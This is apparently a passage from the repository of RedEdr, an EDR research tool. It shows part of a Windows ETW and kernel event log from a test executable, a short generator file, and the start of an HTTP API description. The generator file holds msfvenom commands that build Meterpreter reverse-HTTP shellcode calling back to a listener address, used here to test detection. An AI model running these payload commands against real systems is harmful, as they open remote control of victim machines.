17.48.17\",\"CallingThreadId\":\"6916\",\"LastProtectionMask\":\"64\",\"OriginalProcessCreateTime\":\"2024/12/20 17.48.17\",\"OriginalProcessId\":\"1208\",\"OriginalProcessProtection\":\"(Unknown type)\",\"OriginalProcessSectionSignatureLevel\":\"(Unknown type)\",\"OriginalProcessSignatureLevel\":\"(Unknown type)\",\"OriginalProcessStartKey\":\"25332747903961354\",\"ProtectionMask\":\"32\",\"RegionSize\":\"0x0000025BA365C900\",\"TargetProcessCreateTime\":\"2024/12/20 17.48.17\",\"TargetProcessId\":\"1208\",\"TargetProcessProtection\":\"(Unknown type)\",\"TargetProcessSectionSignatureLevel\":\"(Unknown type)\",\"TargetProcessSignatureLevel\":\"(Unknown type)\",\"TargetProcessStartKey\":\"25332747903961354\",\"event\":\"PROTECTVM_LOCAL\",\"id\":118,\"pid\":1208,\"provider_name\":\"Microsoft-Windows-Threat-Intelligence\",\"thread_id\":6916,\"time\":133791868973910413,\"trace_id\":41,\"type\":\"etw\"},{\"callback\":\"thread_create\",\"create\":0,\"id\":119,\"krn_pid\":1208,\"pid\":1208,\"threadid\":11092,\"time\":133791868989812038,\"trace_id\":41,\"type\":\"kernel\"},{\"callback\":\"thread_create\",\"create\":0,\"id\":120,\"krn_pid\":1208,\"pid\":1208,\"threadid\":6916,\"time\":133791868989812038,\"trace_id\":41,\"type\":\"kernel\"},{\"callback\":\"thread_create\",\"create\":0,\"id\":121,\"krn_pid\":1208,\"pid\":1208,\"threadid\":3196,\"time\":133791868989812038,\"trace_id\":41,\"type\":\"kernel\"},{\"callback\":\"thread_create\",\"create\":0,\"id\":122,\"krn_pid\":1208,\"pid\":1208,\"threadid\":5680,\"time\":133791868989812038,\"trace_id\":41,\"type\":\"kernel\"},{\"CycleTime\":\"181056096\",\"ProcessID\":\"1208\",\"StackBase\":\"FFFF8185AAC62000\",\"StackLimit\":\"FFFF8185AAC5C000\",\"StartAddr\":\"00007FF7711C4616\",\"SubProcessTag\":\"0\",\"TebBase\":\"0000009FD88D8000\",\"ThreadID\":\"6916\",\"UserStackBase\":\"0000009FD8B00000\",\"UserStackLimit\":\"0000009FD8AF6000\",\"Win32StartAddr\":\"00007FF7711C4616\",\"event\":\"ThreadStopStop \",\"id\":123,\"opcode_id\":2,\"pid\":1208,\"provider_name\":\"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716\",\"stack_trace\":[18446735283797242684,18446735283801644436,18446735283801643055,18446735283801352931,18446735283801347736,18446735283796947549,18446735283798949776,18446735283799009711],\"thread_id\":6916,\"time\":133791868989812926,\"trace_id\":41,\"type\":\"etw\"},{\"CycleTime\":\"287100\",\"ProcessID\":\"1208\",\"StackBase\":\"FFFF8185AAC77000\",\"StackLimit\":\"FFFF8185AAC71000\",\"StartAddr\":\"00007FFC8513D110\",\"SubProcessTag\":\"0\",\"TebBase\":\"0000009FD88DA000\",\"ThreadID\":\"11092\",\"UserStackBase\":\"0000009FD8C00000\",\"UserStackLimit\":\"0000009FD8BFF000\",\"Win32StartAddr\":\"00007FFC8513D110\",\"event\":\"ThreadStopStop \",\"id\":124,\"opcode_id\":2,\"pid\":1208,\"provider_name\":\"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716\",\"stack_trace\":[18446735283797242684,18446735283801644436,18446735283801643055,18446735283801352931,18446735283801347736,18446735283796947549,18446735283798949776,18446735283799009711],\"thread_id\":11092,\"time\":133791868989812928,\"trace_id\":41,\"type\":\"etw\"},{\"CycleTime\":\"107316\",\"ProcessID\":\"1208\",\"StackBase\":\"FFFF8185AAC8C000\",\"StackLimit\":\"FFFF8185AAC86000\",\"StartAddr\":\"00007FFC8513D110\",\"SubProcessTag\":\"0\",\"TebBase\":\"0000009FD88DC000\",\"ThreadID\":\"3196\",\"UserStackBase\":\"0000009FD8D00000\",\"UserStackLimit\":\"0000009FD8CFF000\",\"Win32StartAddr\":\"00007FFC8513D110\",\"event\":\"ThreadStopStop \",\"id\":125,\"opcode_id\":2,\"pid\":1208,\"provider_name\":\"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716\",\"stack_trace\":[18446735283797242684,18446735283801644436,18446735283801643055,18446735283801352931,18446735283801347736,18446735283796947549,18446735283798949776,18446735283799009711],\"thread_id\":3196,\"time\":133791868989813773,\"trace_id\":41,\"type\":\"etw\"},{\"CycleTime\":\"2887740\",\"ProcessID\":\"1208\",\"StackBase\":\"FFFF8185AC7B9000\",\"StackLimit\":\"FFFF8185AC7B3000\",\"StartAddr\":\"0000023F29030000\",\"SubProcessTag\":\"0\",\"TebBase\":\"0000009FD88DE000\",\"ThreadID\":\"5680\",\"UserStackBase\":\"0000009FD8E00000\",\"UserStackLimit\":\"0000009FD8DF7000\",\"Win32StartAddr\":\"0000023F29030000\",\"event\":\"ThreadStopStop \",\"id\":126,\"opcode_id\":2,\"pid\":1208,\"provider_name\":\"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716\",\"stack_trace\":[18446735283797242684,18446735283801644436,18446735283801643055,18446735283801352931,18446735283801754190,18446735283799009541],\"thread_id\":5680,\"time\":133791868989814117,\"trace_id\":41,\"type\":\"etw\"},{\"DefaultBase\":\"00007FF771160000\",\"ImageBase\":\"00007FF771160000\",\"ImageCheckSum\":\"0\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Users\\\\hacker\\\\source\\\\repos\\\\RedEdr\\\\x64\\\\Debug\\\\RedEdrTester.exe\",\"ImageSize\":\"000000000018E000\",\"ProcessID\":\"1208\",\"TimeDateStamp\":\"1734703906\",\"event\":\"ImageUnloadInfo \",\"id\":127,\"opcode_id\":0,\"pid\":1208,\"provider_name\":\"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716\",\"stack_trace\":[18446735283802249410,18446735283797621171,18446735283801386793,18446735283801520226,18446735283800918026,18446735283801353166,18446735283801754190,18446735283799009541],\"thread_id\":5680,\"time\":133791868989814755,\"trace_id\":41,\"type\":\"etw\"},{\"DefaultBase\":\"00007FFC628D0000\",\"ImageBase\":\"00007FFC628D0000\",\"ImageCheckSum\":\"2249853\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\ucrtbased.dll\",\"ImageSize\":\"0000000000222000\",\"ProcessID\":\"1208\",\"TimeDateStamp\":\"3642813796\",\"event\":\"ImageUnloadInfo \",\"id\":128,\"opcode_id\":0,\"pid\":1208,\"provider_name\":\"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716\",\"stack_trace\":[18446735283802249410,18446735283797621171,18446735283801386793,18446735283801520226,18446735283800918026,18446735283801353166,18446735283801754190,18446735283799009541],\"thread_id\":5680,\"time\":133791868989814891,\"trace_id\":41,\"type\":\"etw\"},{\"DefaultBase\":\"00007FFC62B00000\",\"ImageBase\":\"00007FFC62B00000\",\"ImageCheckSum\":\"929031\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\msvcp140d.dll\",\"ImageSize\":\"00000000000E2000\",\"ProcessID\":\"1208\",\"TimeDateStamp\":\"4270244042\",\"event\":\"ImageUnloadInfo \",\"id\":129,\"opcode_id\":0,\"pid\":1208,\"provider_name\":\"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716\",\"stack_trace\":[18446735283802249410,18446735283797621171,18446735283801386793,18446735283801520226,18446735283800918026,18446735283801353166,18446735283801754190,18446735283799009541],\"thread_id\":5680,\"time\":133791868989814978,\"trace_id\":41,\"type\":\"etw\"},{\"DefaultBase\":\"00007FFC630A0000\",\"ImageBase\":\"00007FFC630A0000\",\"ImageCheckSum\":\"0\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\RedEdr\\\\RedEdrDll.dll\",\"ImageSize\":\"0000000000082000\",\"ProcessID\":\"1208\",\"TimeDateStamp\":\"1734697896\",\"event\":\"ImageUnloadInfo \",\"id\":130,\"opcode_id\":0,\"pid\":1208,\"provider_name\":\"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716\",\"stack_trace\":[18446735283802249410,18446735283797621171,18446735283801386793,18446735283801520226,18446735283800918026,18446735283801353166,18446735283801754190,18446735283799009541],\"thread_id\":5680,\"time\":133791868989815067,\"trace_id\":41,\"type\":\"etw\"},{\"DefaultBase\":\"00007FFC73E50000\",\"ImageBase\":\"00007FFC73E50000\",\"ImageCheckSum\":\"1883635\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\dbghelp.dll\",\"ImageSize\":\"00000000001E4000\",\"ProcessID\":\"1208\",\"TimeDateStamp\":\"2592498981\",\"event\":\"ImageUnloadInfo \",\"id\":131,\"opcode_id\":0,\"pid\":1208,\"provider_name\":\"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716\",\"stack_trace\":[18446735283802249410,18446735283797621171,18446735283801386793,18446735283801520226,18446735283800918026,18446735283801353166,18446735283801754190,18446735283799009541],\"thread_id\":5680,\"time\":133791868989815129,\"trace_id\":41,\"type\":\"etw\"},{\"DefaultBase\":\"00007FFC77340000\",\"ImageBase\":\"00007FFC77340000\",\"ImageCheckSum\":\"215677\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\vcruntime140d.dll\",\"ImageSize\":\"000000000002B000\",\"ProcessID\":\"1208\",\"TimeDateStamp\":\"3390545094\",\"event\":\"ImageUnloadInfo \",\"id\":132,\"opcode_id\":0,\"pid\":1208,\"provider_name\":\"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716\",\"stack_trace\":[18446735283802249410,18446735283797621171,18446735283801386793,18446735283801520226,18446735283800918026,18446735283801353166,18446735283801754190,18446735283799009541],\"thread_id\":5680,\"time\":133791868989815203,\"trace_id\":41,\"type\":\"etw\"},{\"DefaultBase\":\"00007FFC7DD50000\",\"ImageBase\":\"00007FFC7DD50000\",\"ImageCheckSum\":\"124685\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\vcruntime140_1d.dll\",\"ImageSize\":\"000000000000F000\",\"ProcessID\":\"1208\",\"TimeDateStamp\":\"743278547\",\"event\":\"ImageUnloadInfo \",\"id\":133,\"opcode_id\":0,\"pid\":1208,\"provider_name\":\"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716\",\"stack_trace\":[18446735283802249410,18446735283797621171,18446735283801386793,18446735283801520226,18446735283800918026,18446735283801353166,18446735283801754190,18446735283799009541],\"thread_id\":5680,\"time\":133791868989815284,\"trace_id\":41,\"type\":\"etw\"},{\"DefaultBase\":\"00007FFC82800000\",\"ImageBase\":\"00007FFC82800000\",\"ImageCheckSum\":\"3204207\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\KernelBase.dll\",\"ImageSize\":\"00000000002FE000\",\"ProcessID\":\"1208\",\"TimeDateStamp\":\"3522100337\",\"event\":\"ImageUnloadInfo \",\"id\":134,\"opcode_id\":0,\"pid\":1208,\"provider_name\":\"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716\",\"stack_trace\":[18446735283802249410,18446735283797621171,18446735283801386793,18446735283801520226,18446735283800918026,18446735283801353166,18446735283801754190,18446735283799009541],\"thread_id\":5680,\"time\":133791868989815348,\"trace_id\":41,\"type\":\"etw\"},{\"DefaultBase\":\"00007FFC82B00000\",\"ImageBase\":\"00007FFC82B00000\",\"ImageCheckSum\":\"1180473\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\gdi32full.dll\",\"ImageSize\":\"0000000000117000\",\"ProcessID\":\"1208\",\"TimeDateStamp\":\"576863693\",\"event\":\"ImageUnloadInfo \",\"id\":135,\"opcode_id\":0,\"pid\":1208,\"provider_name\":\"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716\",\"stack_trace\":[18446735283802249410,18446735283797621171,18446735283801386793,18446735283801520226,18446735283800918026,18446735283801353166,18446735283801754190,18446735283799009541],\"thread_id\":5680,\"time\":133791868989815408,\"trace_id\":41,\"type\":\"etw\"},{\"DefaultBase\":\"00007FFC82C20000\",\"ImageBase\":\"00007FFC82C20000\",\"ImageCheckSum\":\"199345\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\bcrypt.dll\",\"ImageSize\":\"0000000000027000\",\"ProcessID\":\"1208\",\"TimeDateStamp\":\"2535700803\",\"event\":\"ImageUnloadInfo \",\"id\":136,\"opcode_id\":0,\"pid\":1208,\"provider_name\":\"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716\",\"stack_trace\":[18446735283802249410,18446735283797621171,18446735283801386793,18446735283801520226,18446735283800918026,18446735283801353166,18446735283801754190,18446735283799009541],\"thread_id\":5680,\"time\":133791868989815463,\"trace_id\":41,\"type\":\"etw\"},{\"DefaultBase\":\"00007FFC82C50000\",\"ImageBase\":\"00007FFC82C50000\",\"ImageCheckSum\":\"1076532\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\ucrtbase.dll\",\"ImageSize\":\"0000000000100000\",\"ProcessID\":\"1208\",\"TimeDateStamp\":\"2177850761\",\"event\":\"ImageUnloadInfo \",\"id\":137,\"opcode_id\":0,\"pid\":1208,\"provider_name\":\"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716\",\"stack_trace\":[18446735283802249410,18446735283797621171,18446735283801386793,18446735283801520226,18446735283800918026,18446735283801353166,18446735283801754190,18446735283799009541],\"thread_id\":5680,\"time\":133791868989815520,\"trace_id\":41,\"type\":\"etw\"},{\"DefaultBase\":\"00007FFC82F60000\",\"ImageBase\":\"00007FFC82F60000\",\"ImageCheckSum\":\"531569\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\bcryptprimitives.dll\",\"ImageSize\":\"0000000000082000\",\"ProcessID\":\"1208\",\"TimeDateStamp\":\"3309379821\",\"event\":\"ImageUnloadInfo \",\"id\":138,\"opcode_id\":0,\"pid\":1208,\"provider_name\":\"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716\",\"stack_trace\":[18446735283802249410,18446735283797621171,18446735283801386793,18446735283801520226,18446735283800918026,18446735283801353166,18446735283801754190,18446735283799009541],\"thread_id\":5680,\"time\":133791868989815580,\"trace_id\":41,\"type\":\"etw\"},{\"DefaultBase\":\"00007FFC82FF0000\",\"ImageBase\":\"00007FFC82FF0000\",\"ImageCheckSum\":\"137991\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\win32u.dll\",\"ImageSize\":\"0000000000022000\",\"ProcessID\":\"1208\",\"TimeDateStamp\":\"3336608826\",\"event\":\"ImageUnloadInfo \",\"id\":139,\"opcode_id\":0,\"pid\":1208,\"provider_name\":\"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716\",\"stack_trace\":[18446735283802249410,18446735283797621171,18446735283801386793,18446735283801520226,18446735283800918026,18446735283801353166,18446735283801754190,18446735283799009541],\"thread_id\":5680,\"time\":133791868989815638,\"trace_id\":41,\"type\":\"etw\"},{\"DefaultBase\":\"00007FFC83070000\",\"ImageBase\":\"00007FFC83070000\",\"ImageCheckSum\":\"659111\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\msvcp_win.dll\",\"ImageSize\":\"000000000009D000\",\"ProcessID\":\"1208\",\"TimeDateStamp\":\"958749903\",\"event\":\"ImageUnloadInfo \",\"id\":140,\"opcode_id\":0,\"pid\":1208,\"provider_name\":\"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716\",\"stack_trace\":[18446735283802249410,18446735283797621171,18446735283801386793,18446735283801520226,18446735283800918026,18446735283801353166,18446735283801754190,18446735283799009541],\"thread_id\":5680,\"time\":133791868989815696,\"trace_id\":41,\"type\":\"etw\"},{\"DefaultBase\":\"00007FFC83190000\",\"ImageBase\":\"00007FFC83190000\",\"ImageCheckSum\":\"811940\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\kernel32.dll\",\"ImageSize\":\"00000000000C2000\",\"ProcessID\":\"1208\",\"TimeDateStamp\":\"2273328705\",\"event\":\"ImageUnloadInfo \",\"id\":141,\"opcode_id\":0,\"pid\":1208,\"provider_name\":\"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716\",\"stack_trace\":[18446735283802249410,18446735283797621171,18446735283801386793,18446735283801520226,18446735283800918026,18446735283801353166,18446735283801754190,18446735283799009541],\"thread_id\":5680,\"time\":133791868989815751,\"trace_id\":41,\"type\":\"etw\"},{\"DefaultBase\":\"00007FFC833E0000\",\"ImageBase\":\"00007FFC833E0000\",\"ImageCheckSum\":\"218727\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\gdi32.dll\",\"ImageSize\":\"000000000002B000\",\"ProcessID\":\"1208\",\"TimeDateStamp\":\"3634633287\",\"event\":\"ImageUnloadInfo \",\"id\":142,\"opcode_id\":0,\"pid\":1208,\"provider_name\":\"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716\",\"stack_trace\":[18446735283802249410,18446735283797621171,18446735283801386793,18446735283801520226,18446735283800918026,18446735283801353166,18446735283801754190,18446735283799009541],\"thread_id\":5680,\"time\":133791868989815806,\"trace_id\":41,\"type\":\"etw\"},{\"DefaultBase\":\"00007FFC83410000\",\"ImageBase\":\"00007FFC83410000\",\"ImageCheckSum\":\"1244603\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\rpcrt4.dll\",\"ImageSize\":\"0000000000123000\",\"ProcessID\":\"1208\",\"TimeDateStamp\":\"2016036219\",\"event\":\"ImageUnloadInfo \",\"id\":143,\"opcode_id\":0,\"pid\":1208,\"provider_name\":\"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716\",\"stack_trace\":[18446735283802249410,18446735283797621171,18446735283801386793,18446735283801520226,18446735283800918026,18446735283801353166,18446735283801754190,18446735283799009541],\"thread_id\":5680,\"time\":133791868989815860,\"trace_id\":41,\"type\":\"etw\"},{\"DefaultBase\":\"00007FFC83B50000\",\"ImageBase\":\"00007FFC83B50000\",\"ImageCheckSum\":\"766771\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\advapi32.dll\",\"ImageSize\":\"00000000000B1000\",\"ProcessID\":\"1208\",\"TimeDateStamp\":\"187986496\",\"event\":\"ImageUnloadInfo \",\"id\":144,\"opcode_id\":0,\"pid\":1208,\"provider_name\":\"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716\",\"stack_trace\":[18446735283802249410,18446735283797621171,18446735283801386793,18446735283801520226,18446735283800918026,18446735283801353166,18446735283801754190,18446735283799009541],\"thread_id\":5680,\"time\":133791868989815915,\"trace_id\":41,\"type\":\"etw\"},{\"DefaultBase\":\"00007FFC83D40000\",\"ImageBase\":\"00007FFC83D40000\",\"ImageCheckSum\":\"681663\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\msvcrt.dll\",\"ImageSize\":\"000000000009E000\",\"ProcessID\":\"1208\",\"TimeDateStamp\":\"2616593924\",\"event\":\"ImageUnloadInfo \",\"id\":145,\"opcode_id\":0,\"pid\":1208,\"provider_name\":\"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716\",\"stack_trace\":[18446735283802249410,18446735283797621171,18446735283801386793,18446735283801520226,18446735283800918026,18446735283801353166,18446735283801754190,18446735283799009541],\"thread_id\":5680,\"time\":133791868989815968,\"trace_id\":41,\"type\":\"etw\"},{\"DefaultBase\":\"00007FFC83DE0000\",\"ImageBase\":\"00007FFC83DE0000\",\"ImageCheckSum\":\"244437\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\imm32.dll\",\"ImageSize\":\"000000000002F000\",\"ProcessID\":\"1208\",\"TimeDateStamp\":\"3510600902\",\"event\":\"ImageUnloadInfo \",\"id\":146,\"opcode_id\":0,\"pid\":1208,\"provider_name\":\"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716\",\"stack_trace\":[18446735283802249410,18446735283797621171,18446735283801386793,18446735283801520226,18446735283800918026,18446735283801353166,18446735283801754190,18446735283799009541],\"thread_id\":5680,\"time\":133791868989816028,\"trace_id\":41,\"type\":\"etw\"},{\"DefaultBase\":\"00007FFC84650000\",\"ImageBase\":\"00007FFC84650000\",\"ImageCheckSum\":\"673563\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\sechost.dll\",\"ImageSize\":\"000000000009F000\",\"ProcessID\":\"1208\",\"TimeDateStamp\":\"1942365337\",\"event\":\"ImageUnloadInfo \",\"id\":147,\"opcode_id\":0,\"pid\":1208,\"provider_name\":\"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716\",\"stack_trace\":[18446735283802249410,18446735283797621171,18446735283801386793,18446735283801520226,18446735283800918026,18446735283801353166,18446735283801754190,18446735283799009541],\"thread_id\":5680,\"time\":133791868989816082,\"trace_id\":41,\"type\":\"etw\"},{\"DefaultBase\":\"00007FFC848D0000\",\"ImageBase\":\"00007FFC848D0000\",\"ImageCheckSum\":\"1221752\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\ole32.dll\",\"ImageSize\":\"000000000012B000\",\"ProcessID\":\"1208\",\"TimeDateStamp\":\"610785574\",\"event\":\"ImageUnloadInfo \",\"id\":148,\"opcode_id\":0,\"pid\":1208,\"provider_name\":\"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716\",\"stack_trace\":[18446735283802249410,18446735283797621171,18446735283801386793,18446735283801520226,18446735283800918026,18446735283801353166,18446735283801754190,18446735283799009541],\"thread_id\":5680,\"time\":133791868989816147,\"trace_id\":41,\"type\":\"etw\"},{\"DefaultBase\":\"00007FFC84A00000\",\"ImageBase\":\"00007FFC84A00000\",\"ImageCheckSum\":\"1745311\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\user32.dll\",\"ImageSize\":\"000000000019D000\",\"ProcessID\":\"1208\",\"TimeDateStamp\":\"4291603748\",\"event\":\"ImageUnloadInfo \",\"id\":149,\"opcode_id\":0,\"pid\":1208,\"provider_name\":\"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716\",\"stack_trace\":[18446735283802249410,18446735283797621171,18446735283801386793,18446735283801520226,18446735283800918026,18446735283801353166,18446735283801754190,18446735283799009541],\"thread_id\":5680,\"time\":133791868989816201,\"trace_id\":41,\"type\":\"etw\"},{\"DefaultBase\":\"00007FFC84D50000\",\"ImageBase\":\"00007FFC84D50000\",\"ImageCheckSum\":\"3511252\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\combase.dll\",\"ImageSize\":\"0000000000353000\",\"ProcessID\":\"1208\",\"TimeDateStamp\":\"3888075817\",\"event\":\"ImageUnloadInfo \",\"id\":150,\"opcode_id\":0,\"pid\":1208,\"provider_name\":\"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716\",\"stack_trace\":[18446735283802249410,18446735283797621171,18446735283801386793,18446735283801520226,18446735283800918026,18446735283801353166,18446735283801754190,18446735283799009541],\"thread_id\":5680,\"time\":133791868989816259,\"trace_id\":41,\"type\":\"etw\"},{\"DefaultBase\":\"00007FFC850F0000\",\"ImageBase\":\"00007FFC850F0000\",\"ImageCheckSum\":\"2047181\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\ntdll.dll\",\"ImageSize\":\"00000000001F8000\",\"ProcessID\":\"1208\",\"TimeDateStamp\":\"1754238027\",\"event\":\"ImageUnloadInfo \",\"id\":151,\"opcode_id\":0,\"pid\":1208,\"provider_name\":\"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716\",\"stack_trace\":[18446735283802249410,18446735283797621171,18446735283801386793,18446735283801520226,18446735283800918026,18446735283801353166,18446735283801754190,18446735283799009541],\"thread_id\":5680,\"time\":133791868989816312,\"trace_id\":41,\"type\":\"etw\"},{\"CPUCycleCount\":\"184728780\",\"CommitCharge\":\"24412160\",\"CommitPeak\":\"24461312\",\"CreateTime\":\"133791868973820309\",\"ExitCode\":\"3221225477\",\"ExitTime\":\"133791868989814630\",\"HandleCount\":\"100\",\"HardFaultCount\":\"0\",\"ImageName\":\"RedEdrTester.e\",\"ProcessID\":\"1208\",\"ProcessSequenceNumber\":\"2314\",\"ReadOperationCount\":\"9\",\"ReadTransferKiloBytes\":\"22\",\"TokenElevationType\":\"3\",\"WriteOperationCount\":\"45\",\"WriteTransferKiloBytes\":\"20\",\"event\":\"ProcessStopStop \",\"id\":152,\"opcode_id\":2,\"pid\":1208,\"provider_name\":\"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716\",\"stack_trace\":[18446735283797242684,18446735283801521634,18446735283801520587,18446735283801519924,18446735283800918026,18446735283801353166,18446735283801754190,18446735283799009541],\"thread_id\":5680,\"time\":133791868989816369,\"trace_id\":41,\"type\":\"etw\"},{\"BaseAddress\":\"0x0000025BA365CB30\",\"CallingProcessCreateTime\":\"2024/12/20 17.48.17\",\"CallingProcessId\":\"1208\",\"CallingProcessProtection\":\"(Unknown type)\",\"CallingProcessSectionSignatureLevel\":\"(Unknown type)\",\"CallingProcessSignatureLevel\":\"(Unknown type)\",\"CallingProcessStartKey\":\"25332747903961354\",\"CallingThreadCreateTime\":\"2024/12/20 17.48.17\",\"CallingThreadId\":\"6916\",\"LastProtectionMask\":\"4\",\"OriginalProcessCreateTime\":\"2024/12/20 17.48.17\",\"OriginalProcessId\":\"1208\",\"OriginalProcessProtection\":\"(Unknown type)\",\"OriginalProcessSectionSignatureLevel\":\"(Unknown type)\",\"OriginalProcessSignatureLevel\":\"(Unknown type)\",\"OriginalProcessStartKey\":\"25332747903961354\",\"ProtectionMask\":\"64\",\"RegionSize\":\"0x0000025BA365C950\",\"TargetProcessCreateTime\":\"2024/12/20 17.48.17\",\"TargetProcessId\":\"1208\",\"TargetProcessProtection\":\"(Unknown type)\",\"TargetProcessSectionSignatureLevel\":\"(Unknown type)\",\"TargetProcessSignatureLevel\":\"(Unknown type)\",\"TargetProcessStartKey\":\"25332747903961354\",\"event\":\"PROTECTVM_LOCAL\",\"id\":153,\"pid\":1208,\"provider_name\":\"Microsoft-Windows-Threat-Intelligence\",\"thread_id\":6916,\"time\":133791868979063418,\"trace_id\":41,\"type\":\"etw\"}]"
  },
  {
    "path": "Data/generator.txt",
    "content": "# non-staged\nmsfvenom -a x64 -p windows/x64/meterpreter_reverse_http AUTOLOADSTDAPI=FALSE LPORT=8080 LHOST=10.10.10.107 -f raw -o meterpreter-revhttp-nonstaged-noautoload.bin\nmsfvenom -a x64 -p windows/x64/meterpreter_reverse_http LPORT=8080 LHOST=10.10.10.107 -f raw -o meterpreter-revhttp-nonstaged-autoload.bin\n\n# staged\nmsfvenom -a x64 -p windows/x64/meterpreter/reverse_http LPORT=8080 LHOST=10.10.10.107 -f raw -o meterpreter-revhttp-staged.bin\nmsfvenom -a x64 -p windows/x64/meterpreter/reverse_http AUTOLOADSTDAPI=FALSE LPORT=8080 LHOST=10.10.10.107 -f raw -o meterpreter-revhttp-staged-noautoload.bin"
  },
  {
    "path": "Doc/api.md",
    "content": "# RedEdr HTTP API Documentation\n\nThis document is AI generated but reviewed.\n\nRedEdr provides a REST API through an embedded HTTP server for interacting with the EDR system. The web server listens on a configurable port and provides both a web UI and programmatic API access.\n\n## Data definition\n\n**Events** can be viewed as a dict (key value pair). It is mostly flat, but can contain arrays or further dicts: \n```\n\n```\n\n\n## HTTP UI\n\nProvides a easy to use web interface for RedEdr on localhost.\n\n### GET /\nServes the main web UI.\n- **Response**: HTML content of the main interface\n\n### GET /static/design.css\nServes the CSS stylesheet.\n- **Response**: CSS content for styling\n\n### GET /static/shared.js\nServes the JavaScript file.\n- **Response**: JavaScript content for the web interface\n\n### GET /api/stats\nReturns system statistics and counters.\n- **Response**: JSON object with event counts and statistics\n- **Content-Type**: `application/json; charset=UTF-8`\n- **Response Fields**:\n  - `events_count` - Total number of events\n  - `num_kernel` - Number of kernel events\n  - `num_etw` - Number of ETW events\n  - `num_etwti` - Number of ETW TI events\n  - `num_dll` - Number of DLL events\n  - `num_process_cache` - Number of cached processes\n\n### GET /api/save\nSaves current events to a file.\n- **Response**: Triggers save operation\n- **Side Effect**: Events are saved to disk\n\n\n## Enable Tracing and Payload Execution\n\nUsed to define what RedEdr will look at, and provides an option\nto also execute the malware. Primarily used by Detonator. \n\n\n### GET /api/trace/info\nGets the current trace target executable names.\n- **Response**: JSON object with current trace targets\n- **Content-Type**: `application/json`\n- **Response Format**: `{\"trace\": [\"target1\", \"target2\"]}`\n\n### POST /api/trace/start\nSets the process name(s) to be observed.\n\nRequest: `application/json`\n- `{\"trace\": [\"executable1\", \"executable2\"]}` - Multiple targets\n\nResponse: `application/json`\n- **Response**: `{\"result\": \"ok\"}` on success\n- **Error Responses**:\n  - `400` - Invalid JSON or missing arguments\n\n### POST /api/trace/reset\nResets all captured events and system state.\n- **Response**: Clears all current data\n- **Side Effect**: All events and state are reset\n\n\n## Retrieve Log Results\n\nActually retrieve the recorded logs of all involved components. \n\n\n### GET /api/logs/rededr\n\nRetrieves all captured events from the current session.\nEvents are things recorded by RedEdr, including ETW events, or DLL hooking events.\n\nResponse: `application/json`\n- Array of event objects\n\nResponse Example:\n```json\n[\n    { \n        \"date\":\"2025-07-20-10-36-24\",\n        \"do_etw\":false,\n        \"do_etwti\":false,\n        \"do_hook\":false,\n        \"do_hook_callstack\": true,\n        \"func\":\"init\",\n        \"target\":\"otepad\",\n        \"trace_id\":41,\n        